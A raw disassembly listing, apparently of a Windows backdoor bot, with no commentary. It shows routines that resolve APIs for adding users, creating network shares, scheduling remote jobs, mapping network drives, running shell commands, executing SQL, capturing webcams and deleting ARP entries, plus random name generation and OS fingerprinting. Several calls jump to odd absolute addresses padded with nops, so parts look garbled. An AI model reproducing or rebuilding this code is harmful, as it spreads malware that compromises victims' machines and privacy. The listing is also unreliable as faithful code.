		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4C93BC, eax
		call	esi
		cmp	dword_4C928C, ebx
		mov	dword_4C921C, eax
		jz	short loc_40A251
		cmp	dword_4C93BC, ebx
		jz	short loc_40A251
		cmp	eax, ebx
		jnz	short loc_40A25B
		jmp	short loc_40A251
; ---------------------------------------------------------------------------


loc_40A246:				; CODE XREF: sub_4098FD+90Aj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93F8, eax


loc_40A251:				; CODE XREF: sub_4098FD+939j
					; sub_4098FD+941j ...
		mov	dword_4C93F4, 1


loc_40A25B:				; CODE XREF: sub_4098FD+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A362
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4C91F8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4C91D0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4C9248, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4C927C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4C9394, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4C9230, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4C91DC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4C91CC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4C9264, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4C935C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4C9314, eax
		call	esi
		cmp	dword_4C91F8, ebx
		mov	dword_4C9238, eax
		jz	short loc_40A36D
		cmp	dword_4C91D0, ebx
		jz	short loc_40A36D
		cmp	dword_4C9248, ebx
		jz	short loc_40A36D
		cmp	dword_4C927C, ebx
		jz	short loc_40A36D
		cmp	dword_4C9394, ebx
		jz	short loc_40A36D
		cmp	dword_4C9230, ebx
		jz	short loc_40A36D
		cmp	dword_4C91DC, ebx
		jz	short loc_40A36D
		cmp	dword_4C91CC, ebx
		jz	short loc_40A36D
		cmp	dword_4C9264, ebx
		jz	short loc_40A36D
		cmp	dword_4C935C, ebx
		jz	short loc_40A36D
		cmp	dword_4C9314, ebx
		jnz	short loc_40A377
		jmp	short loc_40A36D
; ---------------------------------------------------------------------------


loc_40A362:				; CODE XREF: sub_4098FD+969j
		call	near ptr 2680DCDh
		nop
		mov	dword_4C9400, eax


loc_40A36D:				; CODE XREF: sub_4098FD+A11j
					; sub_4098FD+A19j ...
		mov	dword_4C93FC, 1


loc_40A377:				; CODE XREF: sub_4098FD+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3AC
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4C9220, eax
		call	esi
		cmp	dword_4C9220, ebx
		mov	dword_4C92FC, eax
		jz	short loc_40A3B7
		cmp	eax, ebx
		jnz	short loc_40A3C1
		jmp	short loc_40A3B7
; ---------------------------------------------------------------------------


loc_40A3AC:				; CODE XREF: sub_4098FD+A85j
		nop
		call	near ptr 2680DCDh
		mov	dword_4C9408, eax


loc_40A3B7:				; CODE XREF: sub_4098FD+AA7j
					; sub_4098FD+AADj
		mov	dword_4C9404, 1


loc_40A3C1:				; CODE XREF: sub_4098FD+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3F6
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4C9380, eax
		call	esi
		cmp	dword_4C9380, ebx
		mov	dword_4C937C, eax
		jz	short loc_40A401
		cmp	eax, ebx
		jnz	short loc_40A40B
		jmp	short loc_40A401
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_4098FD+ACFj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C9410, eax


loc_40A401:				; CODE XREF: sub_4098FD+AF1j
					; sub_4098FD+AF7j
		mov	dword_4C940C, 1


loc_40A40B:				; CODE XREF: sub_4098FD+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A46A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4C93AC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4C93A4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4C936C, eax
		call	esi
		cmp	dword_4C93AC, ebx
		mov	dword_4C923C, eax
		jz	short loc_40A475
		cmp	dword_4C93A4, ebx
		jz	short loc_40A475
		cmp	dword_4C936C, ebx
		jz	short loc_40A475
		cmp	eax, ebx
		jnz	short loc_40A47F
		jmp	short loc_40A475
; ---------------------------------------------------------------------------


loc_40A46A:				; CODE XREF: sub_4098FD+B19j
		call	near ptr 2680DCDh
		nop
		mov	dword_4C9418, eax


loc_40A475:				; CODE XREF: sub_4098FD+B55j
					; sub_4098FD+B5Dj ...
		mov	dword_4C9414, 1


loc_40A47F:				; CODE XREF: sub_4098FD+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4B4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4C9270, eax
		call	esi
		cmp	dword_4C9270, ebx
		mov	dword_4C9378, eax
		jz	short loc_40A4BF
		cmp	eax, ebx
		jnz	short loc_40A4C9
		jmp	short loc_40A4BF
; ---------------------------------------------------------------------------


loc_40A4B4:				; CODE XREF: sub_4098FD+B8Dj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C9420, eax


loc_40A4BF:				; CODE XREF: sub_4098FD+BAFj
					; sub_4098FD+BB5j
		mov	dword_4C941C, 1


loc_40A4C9:				; CODE XREF: sub_4098FD+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A552
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4C9340, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4C938C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4C92C8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4C9280, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4C9320, eax
		call	esi
		cmp	dword_4C9340, ebx
		mov	dword_4C9290, eax
		jz	short loc_40A55D
		cmp	dword_4C938C, ebx
		jz	short loc_40A55D
		cmp	dword_4C92C8, ebx
		jz	short loc_40A55D
		cmp	dword_4C9280, ebx
		jz	short loc_40A55D
		cmp	dword_4C9320, ebx
		jz	short loc_40A55D
		cmp	eax, ebx
		jnz	short loc_40A567
		jmp	short loc_40A55D
; ---------------------------------------------------------------------------


loc_40A552:				; CODE XREF: sub_4098FD+BD7j
		nop
		call	near ptr 2680DCDh
		mov	dword_4C9428, eax


loc_40A55D:				; CODE XREF: sub_4098FD+C2Dj
					; sub_4098FD+C35j ...
		mov	dword_4C9424, 1


loc_40A567:				; CODE XREF: sub_4098FD+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A59C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4C9254, eax
		call	esi
		cmp	dword_4C9254, ebx
		mov	dword_4C9334, eax
		jz	short loc_40A5A7
		cmp	eax, ebx
		jnz	short loc_40A5B1
		jmp	short loc_40A5A7
; ---------------------------------------------------------------------------


loc_40A59C:				; CODE XREF: sub_4098FD+C75j
		nop
		call	near ptr 2680DCDh
		mov	dword_4C9430, eax


loc_40A5A7:				; CODE XREF: sub_4098FD+C97j
					; sub_4098FD+C9Dj
		mov	dword_4C942C, 1


loc_40A5B1:				; CODE XREF: sub_4098FD+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4098FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5B9	proc near		; CODE XREF: sub_401AC7+24FBp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4C93C4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A601
		push	dword_4C93C8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A601:				; CODE XREF: sub_40A5B9+1Aj
		cmp	dword_4C93CC, esi
		jz	short loc_40A635
		push	dword_4C93D0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A635:				; CODE XREF: sub_40A5B9+4Ej
		cmp	dword_4C93D4, esi
		jz	short loc_40A669
		push	dword_4C93D8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A669:				; CODE XREF: sub_40A5B9+82j
		cmp	dword_4C93DC, esi
		jz	short loc_40A69D
		push	dword_4C93E0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A69D:				; CODE XREF: sub_40A5B9+B6j
		cmp	dword_4C93E4, esi
		jz	short loc_40A6D1
		push	dword_4C93E8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A6D1:				; CODE XREF: sub_40A5B9+EAj
		cmp	dword_4C93EC, esi
		jz	short loc_40A705
		push	dword_4C93F0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A705:				; CODE XREF: sub_40A5B9+11Ej
		cmp	dword_4C93F4, esi
		jz	short loc_40A739
		push	dword_4C93F8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A739:				; CODE XREF: sub_40A5B9+152j
		cmp	dword_4C93FC, esi
		jz	short loc_40A76D
		push	dword_4C9400
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A76D:				; CODE XREF: sub_40A5B9+186j
		cmp	dword_4C9404, esi
		jz	short loc_40A7A1
		push	dword_4C9408
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A7A1:				; CODE XREF: sub_40A5B9+1BAj
		cmp	dword_4C940C, esi
		jz	short loc_40A7D5
		push	dword_4C9410
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A7D5:				; CODE XREF: sub_40A5B9+1EEj
		cmp	dword_4C9414, esi
		jz	short loc_40A809
		push	dword_4C9418
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A809:				; CODE XREF: sub_40A5B9+222j
		cmp	dword_4C941C, esi
		jz	short loc_40A83D
		push	dword_4C9420
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A83D:				; CODE XREF: sub_40A5B9+256j
		cmp	dword_4C9424, esi
		jz	short loc_40A871
		push	dword_4C9428
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A871:				; CODE XREF: sub_40A5B9+28Aj
		cmp	dword_4C942C, esi
		jz	short loc_40A8A5
		push	dword_4C9430
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h


loc_40A8A5:				; CODE XREF: sub_40A5B9+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6D0
		push	eax
		call	sub_41C006
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8D2
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_40A8D2:				; CODE XREF: sub_40A5B9+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8E4	proc near		; CODE XREF: sub_4017E7+4Fp
					; sub_401AC7+5C0Fp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A90C
		push	[esp+arg_0]
		call	dword_4C9388
		test	eax, eax
		jnz	short loc_40A905
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A905:				; CODE XREF: sub_40A8E4+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A90C:				; CODE XREF: sub_40A8E4+Dj
		retn
sub_40A8E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A90D	proc near		; CODE XREF: sub_4017E7+D6p
		mov	ecx, dword_4C9220
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A91B
		call	ecx

locret_40A91B:				; CODE XREF: sub_40A90D+Aj
		retn
sub_40A90D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A91C	proc near		; CODE XREF: sub_401AC7:loc_403EE7p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4C9380
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9E2
		sub	ecx, 32h
		jz	loc_40A9DB
		sub	ecx, 48h
		jz	short loc_40A97C
		sub	ecx, 6Eh
		jz	short loc_40A975


loc_40A95E:				; CODE XREF: sub_40A91C+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E4
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_40A9BC
; ---------------------------------------------------------------------------


loc_40A975:				; CODE XREF: sub_40A91C+40j
		push	offset unk_42D8C0
		jmp	short loc_40A9AE
; ---------------------------------------------------------------------------


loc_40A97C:				; CODE XREF: sub_40A91C+3Bj
		push	[ebp+var_8]
		call	sub_41BC9B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BD10
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9A9
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4C9380
		cmp	eax, edi
		jz	short loc_40A9E2
		jmp	short loc_40A95E
; ---------------------------------------------------------------------------


loc_40A9A9:				; CODE XREF: sub_40A91C+79j
		push	offset unk_42D890


loc_40A9AE:				; CODE XREF: sub_40A91C+5Ej
					; sub_40A91C+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40A9BC:				; CODE XREF: sub_40A91C+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40A9CC:				; CODE XREF: sub_40A91C+C8j
					; sub_40A91C+DCj
		push	esi
		call	sub_41BA31
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9DB:				; CODE XREF: sub_40A91C+32j
		push	offset unk_42D860
		jmp	short loc_40A9AE
; ---------------------------------------------------------------------------


loc_40A9E2:				; CODE XREF: sub_40A91C+29j
					; sub_40A91C+89j
		cmp	[esi], edi
		jbe	short loc_40A9CC
		lea	ebx, [esi+4]


loc_40A9E9:				; CODE XREF: sub_40A91C+DAj
		push	ebx
		call	dword_4C937C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9E9
		jmp	short loc_40A9CC
sub_40A91C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9FA	proc near		; CODE XREF: sub_401AC7+21DAp
					; sub_401AC7+2328p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C92A8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4C9434
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C006
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A9FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA53	proc near		; CODE XREF: sub_41364F+24Cp
					; sub_41364F+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA7C
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA6F:				; CODE XREF: sub_40AA53+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA6F
		pop	edi
		jmp	short loc_40AA80
; ---------------------------------------------------------------------------


loc_40AA7C:				; CODE XREF: sub_40AA53+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA80:				; CODE XREF: sub_40AA53+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA8A
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA8A:				; CODE XREF: sub_40AA53+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAA0	proc near		; CODE XREF: sub_40AE77+49p
					; DATA XREF: ___:off_42D930o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26A0729h
		nop
		push	eax
		call	sub_41C058
		call	sub_41C062
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_42D9AC[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 14h
		cmp	dword_429094, esi
		jle	short loc_40AB07


loc_40AAE1:				; CODE XREF: sub_40AAA0+65j
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AAE1


loc_40AB07:				; CODE XREF: sub_40AAA0+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAA0	endp

; ---------------------------------------------------------------------------
		dd 0E8905756h, 2295C15h, 153EE850h, 7C8B0001h, 4C71024h
		dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h,	0F6330001h
		dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah
		dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h
		dd 94353B46h, 7C004290h, 5FC78BDAh
; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB6A	proc near		; CODE XREF: sub_401AC7+6922p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26A0729h
		nop
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429094
		test	esi, esi
		jle	short loc_40ABAD


loc_40AB97:				; CODE XREF: sub_40AB6A+41j
		call	sub_41C062
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AB97


loc_40ABAD:				; CODE XREF: sub_40AB6A+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB6A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26A0729h
		nop
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431604
		push	eax
		push	esi
		call	near ptr 26D0000h
		nop
		movsx	eax, byte_431604
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40ABF3:				; CODE XREF: ___:0040ABFEj
		cmp	eax, ecx
		jnz	short loc_40ABFA
		mov	[ebp-4], edx


loc_40ABFA:				; CODE XREF: ___:0040ABF5j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40ABF3
		push	61h
		pop	ecx


loc_40AC03:				; CODE XREF: ___:0040AC0Ej
		cmp	eax, ecx
		jnz	short loc_40AC0A
		mov	[ebp-4], edx


loc_40AC0A:				; CODE XREF: ___:0040AC05j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC03
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429094, esi
		jle	short loc_40AC4F


loc_40AC29:				; CODE XREF: ___:0040AC4Dj
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AC29


loc_40AC4F:				; CODE XREF: ___:0040AC27j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431608
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429094, esi
		jle	short loc_40ACC4


loc_40AC9E:				; CODE XREF: ___:0040ACC2j
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40AC9E


loc_40ACC4:				; CODE XREF: ___:0040AC9Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B4B8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E0636h
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD4E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD2E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD1E
		mov	esi, offset dword_431630


loc_40AD1E:				; CODE XREF: ___:0040AD17j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD8A
		mov	esi, offset dword_43162C
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD2E:				; CODE XREF: ___:0040AD0Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD3E
		mov	esi, offset dword_431628
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD3E:				; CODE XREF: ___:0040AD35j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD85
		mov	esi, offset dword_431624
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD4E:				; CODE XREF: ___:0040AD05j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD85
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD67
		mov	esi, offset dword_431620
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD67:				; CODE XREF: ___:0040AD5Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD77
		mov	esi, offset dword_43161C
		jmp	short loc_40AD8A
; ---------------------------------------------------------------------------


loc_40AD77:				; CODE XREF: ___:0040AD6Ej
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431618
		jz	short loc_40AD8A


loc_40AD85:				; CODE XREF: ___:0040AD45j
					; ___:0040AD55j
